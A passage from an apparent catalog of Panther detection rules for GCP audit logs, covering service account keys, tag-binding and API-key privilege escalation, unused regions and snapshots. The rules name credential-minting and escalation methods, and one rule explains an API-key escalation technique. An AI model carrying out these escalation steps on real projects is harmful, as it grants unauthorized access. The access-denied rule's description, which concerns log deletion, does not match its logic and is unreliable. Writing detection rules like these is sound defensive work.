    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    target = event.deep_get("resource", "labels", "email_id") or event.deep_get(
        "resource", "labels", "project_id", default="<TARGET_NOT_FOUND>"
    )
    return (
        f"GCP: [{actor}] granted permissions to create or manage service account keys to [{target}]"
    )


def alert_context(event):
    return {
        "resource": event.get("resource"),
        "serviceData": event.deep_get("protoPayload", "serviceData"),
    }

Rule specification

AnalysisType: rule
Description: Permissions granted to impersonate a service account. This includes predefined service account IAM roles granted at the parent project, folder or organization-level.
DisplayName: GCP Permissions Granted to Create or Manage Service Account Key
Enabled: true
Filename: gcp_permissions_granted_to_create_or_manage_service_account_key.py
Reference: https://cloud.google.com/iam/docs/keys-create-delete
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
RuleID: GCP.Permissions.Granted.to.Create.or.Manage.Service.Account.Key
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName contains SetIAMPolicy
  • protoPayload.serviceData.policyDelta.bindingDeltas.role is one of roles/iam.serviceAccountTokenCreator, roles/iam.serviceAccountUser
  • protoPayload.serviceData.policyDelta.bindingDeltas.action is ADD

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
resource
serviceDataprotoPayload.serviceData
principalEmailprotoPayload.authenticationInfo.principalEmail
email_idresource.labels.email_id

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "hhpfjvdgakc",
  "logName": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
  "p_any_emails": [
    "user@company.io"
  ],
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_event_time": "2023-04-10 18:36:30.838",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2023-04-10 18:38:14.607",
  "p_row_id": "5286b52d4095c9f1b2e8eabe178f8203",
  "p_schema_version": 0,
  "p_source_id": "5b77391b-afad-46c7-8ddc-b8e21d4726b3",
  "p_source_label": "gcplogsource2",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@company.io",
      "principalSubject": "user:user@company.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.serviceAccounts.setIamPolicy",
        "resource": "projects/-/serviceAccounts/105537103139416651075",
        "resourceAttributes": {
          "name": "projects/-/serviceAccounts/105537103139416651075"
        }
      }
    ],
    "methodName": "google.iam.admin.v1.SetIAMPolicy",
    "request": {
      "@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
      "policy": {
        "bindings": [
          {
            "members": [
              "serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com"
            ],
            "role": "roles/iam.serviceAccountTokenCreator"
          },
          {
            "members": [
              "serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com"
            ],
            "role": "roles/iam.serviceAccountUser"
          }
        ],
        "etag": "ACAB",
        "version": 3
      },
      "resource": "projects/gcp-project1/serviceAccounts/105537103139416651075"
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-04-10T18:36:30.994141642Z"
      }
    },
    "resourceName": "projects/-/serviceAccounts/105537103139416651075",
    "response": {
      "@type": "type.googleapis.com/google.iam.v1.Policy",
      "bindings": [
        {
          "members": [
            "serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com"
          ],
          "role": "roles/iam.serviceAccountTokenCreator"
        },
        {
          "members": [
            "serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com"
          ],
          "role": "roles/iam.serviceAccountUser"
        }
      ],
      "etag": "BwX4/6dQjX4=",
      "version": 1
    },
    "serviceData": {
      "@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
      "policyDelta": {
        "bindingDeltas": [
          {
            "action": "ADD",
            "member": "serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com",
            "role": "roles/iam.serviceAccountTokenCreator"
          },
          {
            "action": "ADD",
            "member": "serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com",
            "role": "roles/iam.serviceAccountUser"
          }
        ]
      }
    },
    "serviceName": "iam.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2023-04-10 18:36:32.268",
  "resource": {
    "labels": {
      "email_id": "test-account3@gcp-project1.iam.gserviceaccount.com",
      "project_id": "gcp-project1",
      "unique_id": "105537103139416651075"
    },
    "type": "service_account"
  },
  "severity": "NOTICE",
  "timestamp": "2023-04-10 18:36:30.838"
}

GCP Privilege Escalation via TagBinding

#
Severity
informational
Time window
30h
Match by
p_alert_context.principal
Tags
attack.privilege_escalation, attack.t1548, gcp, iam, tagbinding, Beta
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects a sequence of events that could indicate a privilege escalation attempt via GCP's tag-based access control. The sequence includes: 1. Enumeration of IAM policies and tags 2. Creation of a tag binding 3. Performance of a privileged operation

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Rule specification

AnalysisType: correlation_rule
RuleID: "GCP.Privilege.Escalation.Via.TagBinding.Group"
DisplayName: "GCP Privilege Escalation via TagBinding"
Enabled: false
Severity: Info
Description: >
  Detects a sequence of events that could indicate a privilege escalation attempt
  via GCP's tag-based access control. The sequence includes:
  1. Enumeration of IAM policies and tags
  2. Creation of a tag binding
  3. Performance of a privileged operation
Reference: https://cloud.google.com/resource-manager/docs/tags/tags-overview
Runbook: >
  Verify if the user has legitimate business need for this sequence of operations.
  If unauthorized, revoke the tag binding and review IAM policies.
Reports:
    MITRE ATT&CK:
        - TA0004:T1548  # Abuse Elevation Control Mechanism
Detection:
    - Group:
        - ID: Enumeration
          RuleID: GCP.IAM.Tag.Enumeration
        - ID: TagBinding
          RuleID: GCP.Tag.Binding.Creation
        - ID: PrivilegedOperation
          RuleID: GCP.Privileged.Operation
      MatchCriteria:
        field_name:
          - GroupID: Enumeration
            Match: p_alert_context.principal
          - GroupID: TagBinding
            Match: p_alert_context.principal
          - GroupID: PrivilegedOperation
            Match: p_alert_context.principal
      Schedule:
        RateMinutes: 1440
        TimeoutMinutes: 10
      LookbackWindowMinutes: 1800
Tags:
    - attack.privilege_escalation
    - attack.t1548
    - gcp
    - iam
    - tagbinding
    - Beta

Stages and Predicates

Fires when the steps below all occur within 30h, correlated by p_alert_context.principal. Each step needs one match unless a higher minimum is shown.

Stage 1: step Enumeration

References detection GCP IAM and Tag Enumeration.

Stage 2: step TagBinding

References detection GCP Tag Binding Creation.

Stage 3: step PrivilegedOperation

References detection GCP Privileged Operation.

Response runbook

Verify if the user has legitimate business need for this sequence of operations. If unauthorized, revoke the tag binding and review IAM policies.

GCP Privileged Operation

#
Severity
informational
Log types
GCP.AuditLog
Tags
attack.privilege_escalation, attack.t1548, gcp, iam, tagbinding
Source
github.com/panther-labs/panther-analysis

Detects privileged operations in GCP that could be part of a privilege escalation attempt, especially when following tag binding creation.

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context

PRIVILEGED_OPERATIONS = [
    "iam.serviceAccounts.getAccessToken",
    "orgpolicy.policy.set",
    "storage.hmacKeys.create",
    "serviceusage.apiKeys.create",
    "serviceusage.apiKeys.list",
]


def rule(event):
    method_name = event.deep_get("protoPayload", "methodName", default="")
    return (
        method_name.endswith("setIamPolicy")
        or method_name.endswith("setIamPermissions")
        or method_name in PRIVILEGED_OPERATIONS
    )


def title(event):
    principal = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN>"
    )
    method = event.deep_get("protoPayload", "methodName", default="<UNKNOWN>")
    return f"GCP Privileged Operation by {principal} - {method}"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: GCP.Privileged.Operation
Description: >
  Detects privileged operations in GCP that could be part of a privilege
  escalation attempt, especially when following tag binding creation.
DisplayName: GCP Privileged Operation
Enabled: true
Filename: gcp_privileged_operation.py
LogTypes:
  - GCP.AuditLog
CreateAlert: false
Runbook: |
  Check if the user has legitimate business need for this privileged operation.
  If unauthorized, revoke any recently created tag bindings and review IAM policies.
Severity: Info
Tags:
  - attack.privilege_escalation
  - attack.t1548
  - gcp
  - iam
  - tagbinding

Stages and Predicates

Fires on GCP.AuditLog events when any of the conditions below holds.

Condition

  • any of:
    • protoPayload.methodName ends with setIamPolicy
    • protoPayload.methodName ends with setIamPermissions
    • protoPayload.methodName is one of iam.serviceAccounts.getAccessToken, orgpolicy.policy.set, storage.hmacKeys.create, serviceusage.apiKeys.create, serviceusage.apiKeys.list

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNameends_with
  • setIamPermissions
  • setIamPolicy
field:"protoPayload.methodName" kind:ends_with
protoPayload.methodNamein
  • iam.serviceAccounts.getAccessToken
  • orgpolicy.policy.set
  • serviceusage.apiKeys.create
  • serviceusage.apiKeys.list
  • storage.hmacKeys.create
field:"protoPayload.methodName" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Check if the user has legitimate business need for this privileged operation.

If unauthorized, revoke any recently created tag bindings and review IAM policies.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authenticationInfo": {
      "principalEmail": "test@example.com"
    },
    "methodName": "compute.instances.setIamPolicy",
    "resourceName": "projects/test-project"
  },
  "resource": {
    "labels": {
      "project_id": "test-project"
    }
  },
  "timestamp": "2024-01-01T00:00:00Z"
}

GCP Resource in Unused Region

#
Severity
medium
Log types
GCP.AuditLog
Tags
GCP, Database, Configuration Required, Defense Evasion:Unused/Unsupported Cloud Regions
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Adversaries may create cloud instances in unused geographic service regions in order to evade detection.

MITRE ATT&CK coverage

Detection logic

from panther_base_helpers import deep_get

APPROVED_ACTIVE_REGIONS = {
    # 'asia',
    # 'australia',
    # 'eu',
    # 'northamerica',
    # 'southamerica',
    "us",
}


def _resource_in_active_region(location):
    # return False if location is None, meaning the event did not have a location attribute
    # in any of the places we would expect to find one.
    if location is False:
        return False

    return not any(
        (location.startswith(active_region) for active_region in APPROVED_ACTIVE_REGIONS)
    )


def _get_location_or_zone(event):
    resource = event.get("resource")
    if not resource:
        return False

    resource_location = deep_get(resource, "labels", "location")
    if resource_location:
        return resource_location

    resource_zone = deep_get(resource, "labels", "zone")
    if resource_zone:
        return resource_zone

    return False


def rule(event):
    method_name = event.deep_get("protoPayload", "methodName", default="<UNKNOWN_METHOD>")
    if not method_name.endswith(("insert", "create")):
        return False
    return _resource_in_active_region(_get_location_or_zone(event))


def title(event):
    return (
        f"GCP resource(s) created in unused region/zone in project "
        f"{event.deep_get('resource', 'labels', 'project_id', default='<UNKNOWN_PROJECT>')}"
    )

Rule specification

AnalysisType: rule
Filename: gcp_unused_regions.py
RuleID: "GCP.UnusedRegions"
DisplayName: "GCP Resource in Unused Region"
Enabled: false
DedupPeriodMinutes: 15
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Database
  - Configuration Required
  - Defense Evasion:Unused/Unsupported Cloud Regions
Reports:
  MITRE ATT&CK:
    - TA0005:T1535
Severity: Medium
Description: >
  Adversaries may create cloud instances in unused geographic service regions in order to evade detection.
Runbook: Validate the user making the request and the resource created.
Reference: https://cloud.google.com/docs/geography-and-regions
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_domain_names

Stages and Predicates

Fires on GCP.AuditLog events when any of the conditions below holds.

Condition

  • any of:
    • protoPayload.methodName ends with insert
    • protoPayload.methodName ends with create

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Alert deduplication
repeat matches within 15m group into one alert

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
project_idresource.labels.project_id

Response runbook

Validate the user making the request and the resource created.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "-5tqx5fd4mj8",
  "logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "operation": {
    "id": "operation-1589562934964-5a5b2f61631d6-cc67597a-98092474",
    "last": true,
    "producer": "compute.googleapis.com"
  },
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user.name@runpanther.io"
    },
    "methodName": "beta.compute.instances.insert",
    "request": {
      "@type": "type.googleapis.com/compute.instances.insert"
    },
    "requestMetadata": {
      "callerIp": "136.24.229.58",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)"
    },
    "resourceName": "projects/western-verve-123456/zones/asia-northeast1-b/instances/instance-5",
    "serviceName": "compute.googleapis.com"
  },
  "receiveTimestamp": "2020-05-15T17:15:43.377082868Z",
  "resource": {
    "labels": {
      "instance_id": "8498166540490993880",
      "project_id": "western-verve-123456",
      "zone": "southamerica-east1-b"
    },
    "type": "gce_instance"
  },
  "severity": "NOTICE",
  "timestamp": "2020-05-15T17:15:42.415Z"
}

GCP Service Account Access Denied

#
Severity
low
Log types
GCP.AuditLog
Tags
GCP, Service Account, Access
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

This rule detects deletions of GCP Log Buckets or Sinks.

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    reason = event.deep_walk("protoPayload", "status", "details", "reason", default="")
    return reason == "IAM_PERMISSION_DENIED"


def title(event):
    actor = event.deep_walk(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    return f"[GCP]: [{actor}] performed multiple requests resulting in [IAM_PERMISSION_DENIED]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

---
AnalysisType: rule
DedupPeriodMinutes: 5
Threshold: 30
DisplayName: GCP Service Account Access Denied
Enabled: true
Filename: gcp_service_account_access_denied.py
RuleID: "GCP.Service.Account.Access.Denied"
Severity: Low
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Service Account
  - Access
Description: >
  This rule detects deletions of GCP Log Buckets or Sinks.
Runbook: >
  Ensure that the bucket or sink deletion was expected. Adversaries may do this to cover their tracks.
Reference: https://cloud.google.com/iam/docs/service-account-overview

Stages and Predicates

Fires on GCP.AuditLog events when the condition below holds.

Condition

  • protoPayload.status.details.reason is IAM_PERMISSION_DENIED
Alert cadence
alerts after 30 matches within 5m

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Ensure that the bucket or sink deletion was expected. Adversaries may do this to cover their tracks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "xxxxxxxxxxxx",
  "logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "test-no-perms@test-project-123456.iam.gserviceaccount.com",
      "principalSubject": "serviceAccount:test-no-perms@test-project-123456.iam.gserviceaccount.com",
      "serviceAccountKeyName": "//iam.googleapis.com/projects/test-project-123456/serviceAccounts/test-no-perms@test-project-123456.iam.gserviceaccount.com/keys/a0064fe0ef82b9e256b8b093d927ee842a19da34"
    },
    "authorizationInfo": [
      {
        "permission": "iam.serviceAccounts.create",
        "resource": "projects/test-project-123456",
        "resourceAttributes": {}
      }
    ],
    "methodName": "google.iam.admin.v1.CreateServiceAccount",
    "request": {
      "@type": "type.googleapis.com/google.iam.admin.v1.CreateServiceAccountRequest",
      "account_id": "test123",
      "name": "projects/test-project-123456",
      "service_account": {}
    },
    "requestMetadata": {
      "callerIP": "12.12.12.12",
      "callerSuppliedUserAgent": "google-cloud-sdk gcloud/431.0.0 command/gcloud.iam.service-accounts.create invocation-id/b2ea5dab8c9b4bff8bc15ab299dff79e environment/devshell environment-version/None client-os/LINUX client-os-ver/5.15.107 client-pltf-arch/x86_64 interactive/True from-script/False python/3.9.2 term/screen (Linux 5.15.107+),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-05-24T21:12:55.211301546Z"
      }
    },
    "resourceName": "projects/test-project-123456",
    "response": {
      "@type": "type.googleapis.com/google.iam.admin.v1.ServiceAccount"
    },
    "serviceName": "iam.googleapis.com",
    "status": {
      "code": 7,
      "details": [
        {
          "@type": "type.googleapis.com/google.rpc.ErrorInfo",
          "domain": "iam.googleapis.com",
          "metadata": {
            "permission": "iam.serviceAccounts.create"
          },
          "reason": "IAM_PERMISSION_DENIED"
        }
      ],
      "message": "Permission 'iam.serviceAccounts.create' denied on resource (or it may not exist)."
    }
  },
  "receivetimestamp": "2023-05-24 21:12:55.964",
  "resource": {
    "labels": {
      "email_id": "",
      "project_id": "test-project-123456",
      "unique_id": ""
    },
    "type": "service_account"
  },
  "severity": "ERROR",
  "timestamp": "2023-05-24 21:12:55.145"
}

GCP Service Account or Keys Created

#
Severity
low
Entities
emails, ip_addresses
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects when a service account or key is created manually by a user instead of an automated workflow.

Telemetry coverage

Detection logic

def rule(event):
    return all(
        [
            event.deep_get("resource", "type", default="") == "service_account",
            "CreateServiceAccount" in event.deep_get("protoPayload", "methodName", default=""),
            not event.deep_get(
                "protoPayload", "authenticationInfo", "principalEmail", default=""
            ).endswith(".gserviceaccount.com"),
        ]
    )


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    target = event.deep_get("resource", "labels", "email_id")
    project = event.deep_get("resource", "labels", "project_id")
    resource = (
        "Service Account Key for"
        if event.deep_get("protoPayload", "methodName", default="")
        == "google.iam.admin.v1.CreateServiceAccountKey"
        else "Service Account"
    )
    return f"GCP: [{actor}] created {resource} [{target}] in project [{project}]"

Rule specification

AnalysisType: rule
Description: Detects when a service account or key is created manually by a user instead of an automated workflow.
DisplayName: "GCP Service Account or Keys Created "
Enabled: true
Filename: gcp_service_account_or_keys_created.py
Reference: https://cloud.google.com/iam/docs/keys-create-delete
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.Service.Account.or.Keys.Created"
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • resource.type is service_account
  • protoPayload.methodName contains CreateServiceAccount
  • protoPayload.authenticationInfo.principalEmail does not end with .gserviceaccount.com

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.authenticationInfo.principalEmailends_with.gserviceaccount.comexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:".gserviceaccount.com"

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
principalEmailprotoPayload.authenticationInfo.principalEmail
email_idresource.labels.email_id
project_idresource.labels.project_id

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1iyadj0d5bmj",
  "logName": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_event_time": "2023-03-09 15:50:36.148",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2023-03-09 15:52:14.605",
  "p_row_id": "eee460dd2ac5b8a9a6cdfded16ff75",
  "p_source_id": "4fc88a5a-2d51-4279-9c4a-08fa7cc52566",
  "p_source_label": "gcplogsource",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "staging@company.io",
      "principalSubject": "user:staging@company.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.serviceAccountKeys.create",
        "resource": "projects/-/serviceAccounts/123456789098765434567",
        "resourceAttributes": {
          "name": "projects/-/serviceAccounts/123456789098765434567"
        }
      }
    ],
    "methodName": "google.iam.admin.v1.CreateServiceAccountKey",
    "request": {
      "@type": "type.googleapis.com/google.iam.admin.v1.CreateServiceAccountKeyRequest",
      "name": "projects/gcp-project1/serviceAccounts/123456789098765434567",
      "private_key_type": 2
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-03-09T15:50:36.163986905Z"
      }
    },
    "resourceName": "projects/-/serviceAccounts/123456789098765434567",
    "response": {
      "@type": "type.googleapis.com/google.iam.admin.v1.ServiceAccountKey",
      "key_algorithm": 2,
      "key_origin": 2,
      "key_type": 1,
      "name": "projects/gcp-project1/serviceAccounts/created-service-account@gcp-project1.iam.gserviceaccount.com/keys/69049163b190437ab9279b28e8afa24bb5c5b076",
      "private_key_type": 2,
      "valid_after_time": {
        "seconds": 1678377036.0
      },
      "valid_before_time": {
        "seconds": 253402300799.0
      }
    },
    "serviceName": "iam.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2023-03-09 15:50:37.603",
  "resource": {
    "labels": {
      "email_id": "created-service-account@gcp-project1.iam.gserviceaccount.com",
      "project_id": "gcp-project1",
      "unique_id": "123456789098765434567"
    },
    "type": "service_account"
  },
  "severity": "NOTICE",
  "timestamp": "2023-03-09 15:50:36.148"
}

GCP serviceusage.apiKeys.create Privilege Escalation

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

Detects serviceusage.apiKeys.create method for privilege escalation in GCP. By default, API Keys are created with no restrictions, which means they have access to the entire GCP project they were created in. We can capitalize on that fact by creating a new API key that may have more privileges than our own user.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    if not event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND").endswith(
        "ApiKeys.CreateKey"
    ):
        return False

    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if auth.get("permission") == "serviceusage.apiKeys.create" and auth.get("granted") is True:
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] created new API Key in project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
LogTypes:
  - GCP.AuditLog
Description:
  Detects serviceusage.apiKeys.create method for privilege escalation in GCP. By default, API Keys are
  created with no restrictions, which means they have access to the entire GCP project they were created in. We can
  capitalize on that fact by creating a new API key that may have more privileges than our own user.
DisplayName: "GCP serviceusage.apiKeys.create Privilege Escalation"
RuleID: "GCP.serviceusage.apiKeys.create.Privilege.Escalation"
Enabled: true
Filename: gcp_serviceusage_apikeys_create_privilege_escalation.py
Reference: https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/
Runbook:
  Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
  in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
  them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
  IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
  mitigate these security risks.
Reports:
  MITRE ATT&CK:
    - TA0004:T1548 # Abuse Elevation Control Mechanism
Severity: High
DedupPeriodMinutes: 60
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName ends with ApiKeys.CreateKey
  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is serviceusage.apiKeys.create
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is serviceusage.apiKeys.create

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
  "operation": {
    "id": "operations/akmf.p7-1028347275902-fe0c0688-44a7-4dca-bc06-8456068e5673",
    "last": true,
    "producer": "apikeys.googleapis.com"
  },
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "some.user@some-project.com",
      "principalSubject": "serviceAccount:some-team@some-project.com",
      "serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/some-team@some-project.gserviceaccount.com/keys/dc5344c246064589v76ec76f66bafc92b093ed41"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "serviceusage.apiKeys.create",
        "resource": "projectnumbers/1028347245602",
        "resourceAttributes": {}
      }
    ],
    "methodName": "google.api.apikeys.v2.ApiKeys.CreateKey",
    "request": {
      "@type": "type.googleapis.com/google.api.apikeys.v2.CreateKeyRequest",
      "parent": "projects/some-project/locations/global"
    },
    "requestMetadata": {
      "callerIP": "189.163.74.177",
      "callerSuppliedUserAgent": "(gzip),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {}
    },
    "resourceName": "projects/1028347245602",
    "response": {
      "@type": "type.googleapis.com/google.api.apikeys.v2.Key",
      "createTime": "1970-01-01T00:00:00Z",
      "etag": "W/\"DSLGu9UKHwqq2ICm7YPE7g==\"",
      "name": "projects/1028347245602/locations/global/keys/bf67db25-d748-4335-ae08-7f0e65fnfy02",
      "updateTime": "1970-01-01T00:00:00Z"
    },
    "serviceName": "apikeys.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2024-01-25 13:28:18.961519813",
  "resource": {
    "labels": {
      "method": "google.api.apikeys.v2.ApiKeys.CreateKey",
      "project_id": "some-project",
      "service": "apikeys.googleapis.com"
    },
    "type": "audited_resource"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-25 13:28:18.961519813"
}

GCP Snapshot Creation Detection

#
Severity
medium
Log types
GCP.AuditLog
Tags
Configuration Required
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

This rule detects when someone with an unexpected email domain creates a snapshot of a Compute Disk.

Telemetry coverage

PlatformRecord / event type
GCPcompute.snapshots.insert: insert

Detection logic

from panther_gcp_helpers import gcp_alert_context

EXPECTED_DOMAIN = "@your-domain.tld"


def rule(event):
    if event.deep_get("protoPayload", "response", "error"):
        return False

    method = event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND")
    if method != "v1.compute.snapshots.insert":
        return False

    email = event.deep_get("protoPayload", "authenticationInfo", "principalEmail", default="")
    if not email.endswith(EXPECTED_DOMAIN):
        return True

    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    project = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
    return f"[GCP]: Unexpected domain [{actor}] created a snapshot on project [{project}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP Snapshot Creation Detection
Enabled: false
Filename: gcp_snapshot_insert.py
RuleID: "GCP.Compute.Snapshot.UnexpectedDomain"
Severity: Medium
LogTypes:
  - GCP.AuditLog
Tags:
  - Configuration Required
Description: >
  This rule detects when someone with an unexpected email domain creates a snapshot of a Compute Disk.
Runbook: >
  Investigate the snapshot creation to ensure it was authorized. Unauthorized snapshot creation can lead to data exfiltration.
Reference: https://cloud.google.com/compute/docs/disks/snapshots

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.response.error is empty
  • protoPayload.methodName is v1.compute.snapshots.insert
  • protoPayload.authenticationInfo.principalEmail does not end with @your-domain.tld

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.authenticationInfo.principalEmailends_with@your-domain.tldexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"@your-domain.tld"

Indicators

These rows show field, operator, and value matches.

